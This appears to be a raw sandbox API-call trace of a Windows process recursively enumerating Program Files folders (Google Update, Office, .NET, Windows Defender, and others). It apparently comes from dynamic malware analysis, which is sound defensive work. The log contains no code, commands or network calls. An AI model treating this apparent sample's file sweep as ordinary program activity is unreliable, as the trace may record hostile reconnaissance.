[0275.080] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0275.080] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbbac738, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe4bca716, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Application", cAlternateFileName="APPLIC~1")) returned 0 [0275.080] FindClose (in: hFindFile=0x6ebfb0 | out: hFindFile=0x6ebfb0) returned 1 [0275.081] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0275.081] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc5e5a66, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbf7b2f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcc5e5a66, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CrashReports", cAlternateFileName="CRASHR~1")) returned 1 [0275.081] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0275.081] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc631f07, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbfd0b02, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcda0384e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Update2", cAlternateFileName="")) returned 1 [0275.112] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0275.112] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcda0384e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcda0384e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Download", cAlternateFileName="")) returned 1 [0275.115] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0275.115] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdfd42df1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xdfd42df1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="61.0.3163.79", cAlternateFileName="610316~1.79")) returned 0 [0275.115] FindClose (in: hFindFile=0x6ebff0 | out: hFindFile=0x6ebff0) returned 1 [0275.115] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0275.115] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdfd42df1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xdfd42df1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8A69D345-D564-463C-AFF1-A69D9E530F96}", cAlternateFileName="{8A69D~1")) returned 0 [0275.115] FindClose (in: hFindFile=0x6ebfb0 | out: hFindFile=0x6ebfb0) returned 1 [0275.115] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0275.115] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x25650, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="GoogleUpdate.exe", cAlternateFileName="GOOGLE~1.EXE")) returned 1 [0275.116] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0275.116] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0122b4c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe04b63d9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe04b63d9, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{6124B51C-167F-4C55-9898-E7167409448B}", cAlternateFileName="{6124B~1")) returned 0 [0275.116] FindClose (in: hFindFile=0x6ebfb0 | out: hFindFile=0x6ebfb0) returned 1 [0275.116] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0275.116] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcda0384e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe0122b4c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe0122b4c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Install", cAlternateFileName="")) returned 0 [0275.116] FindClose (in: hFindFile=0x6ec170 | out: hFindFile=0x6ec170) returned 1 [0275.116] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0275.118] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc631f07, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbfd0b02, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcda0384e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Update2", cAlternateFileName="")) returned 0 [0275.118] FindClose (in: hFindFile=0x6ebd70 | out: hFindFile=0x6ebd70) returned 1 [0275.118] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0275.118] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1310fcb2, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x1310fcb2, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0275.120] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0275.120] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95261236, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x95261236, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x95261236, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExtExport.exe", cAlternateFileName="")) returned 1 [0275.120] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0275.120] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93a39, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb77a1634, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb77a1634, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGNUP", cAlternateFileName="")) returned 1 [0275.121] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0275.121] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x953b87d3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x953b87d3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x953b87d3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa7d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0275.121] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0275.121] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc211eecb, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x13fd044c, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x13fd044c, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0275.121] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0275.121] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x49ecb94e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x49ecb94e, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 1 [0275.254] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0275.254] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc17f062, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7340c2, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="REDIST~1")) returned 1 [0275.254] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0275.254] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc17f062, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7340c2, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="REDIST~1")) returned 0 [0275.254] FindClose (in: hFindFile=0x6ec170 | out: hFindFile=0x6ec170) returned 1 [0275.255] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0275.255] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0dc4f7, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x131ce67f, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x131ce67f, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Mozilla Maintenance Service", cAlternateFileName="MOZILL~1")) returned 1 [0275.255] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0275.255] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef1289ad, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef1289ad, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7da49100, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x2f5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="maintenanceservice.exe", cAlternateFileName="MAINTE~1.EXE")) returned 1 [0275.255] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0275.255] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x13faa253, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x13faa253, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0275.256] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0275.256] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0275.256] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0275.256] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0275.256] FindClose (in: hFindFile=0x6ec070 | out: hFindFile=0x6ec070) returned 1 [0275.257] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0275.257] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 0 [0275.257] FindClose (in: hFindFile=0x6ec3f0 | out: hFindFile=0x6ec3f0) returned 1 [0275.257] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0275.259] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c233750, ftCreationTime.dwHighDateTime=0x1d4c001, ftLastAccessTime.dwLowDateTime=0xe2e9d520, ftLastAccessTime.dwHighDateTime=0x1d4828a, ftLastWriteTime.dwLowDateTime=0xe2e9d520, ftLastWriteTime.dwHighDateTime=0x1d4828a, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="screensaver_fireplace.exe", cAlternateFileName="SCREEN~1.EXE")) returned 1 [0275.259] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0275.259] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1 [0275.270] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0275.270] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70b90e1d, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70b90e1d, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70b90e1d, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SubsetList", cAlternateFileName="SUBSET~1")) returned 1 [0275.272] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0275.272] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909a7d72, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c4a1e8c, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x6c4c7f7a, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x6d000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System.IdentityModel.dll", cAlternateFileName="")) returned 1 [0275.273] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0275.273] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70b90e1d, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70c29919, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70c29919, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0275.287] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0275.287] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70c29919, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70c29919, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70c29919, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SubsetList", cAlternateFileName="SUBSET~1")) returned 1 [0275.287] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0275.287] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x573d84a2, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x573d84a2, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd59b2c00, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System.AddIn.Contract.dll", cAlternateFileName="")) returned 1 [0275.289] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0275.289] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70b90e1d, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70c29919, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70c29919, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0275.289] FindClose (in: hFindFile=0x6ec0b0 | out: hFindFile=0x6ec0b0) returned 1 [0275.289] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0275.289] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70b90e1d, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70b90e1d, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 0 [0275.289] FindClose (in: hFindFile=0x6ec070 | out: hFindFile=0x6ec070) returned 1 [0275.289] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0275.291] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0275.291] FindClose (in: hFindFile=0x6ebff0 | out: hFindFile=0x6ebff0) returned 1 [0275.291] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0275.291] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc41c3d7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71274d1e, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1 [0275.297] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0275.297] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa686fe, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa686fe, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa686fe, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb2fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EppManifest.dll", cAlternateFileName="")) returned 1 [0275.297] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0275.297] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a3ad051, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6a3ad051, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6a3ad051, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3c1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="shellext.dll", cAlternateFileName="")) returned 1 [0275.297] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0275.297] 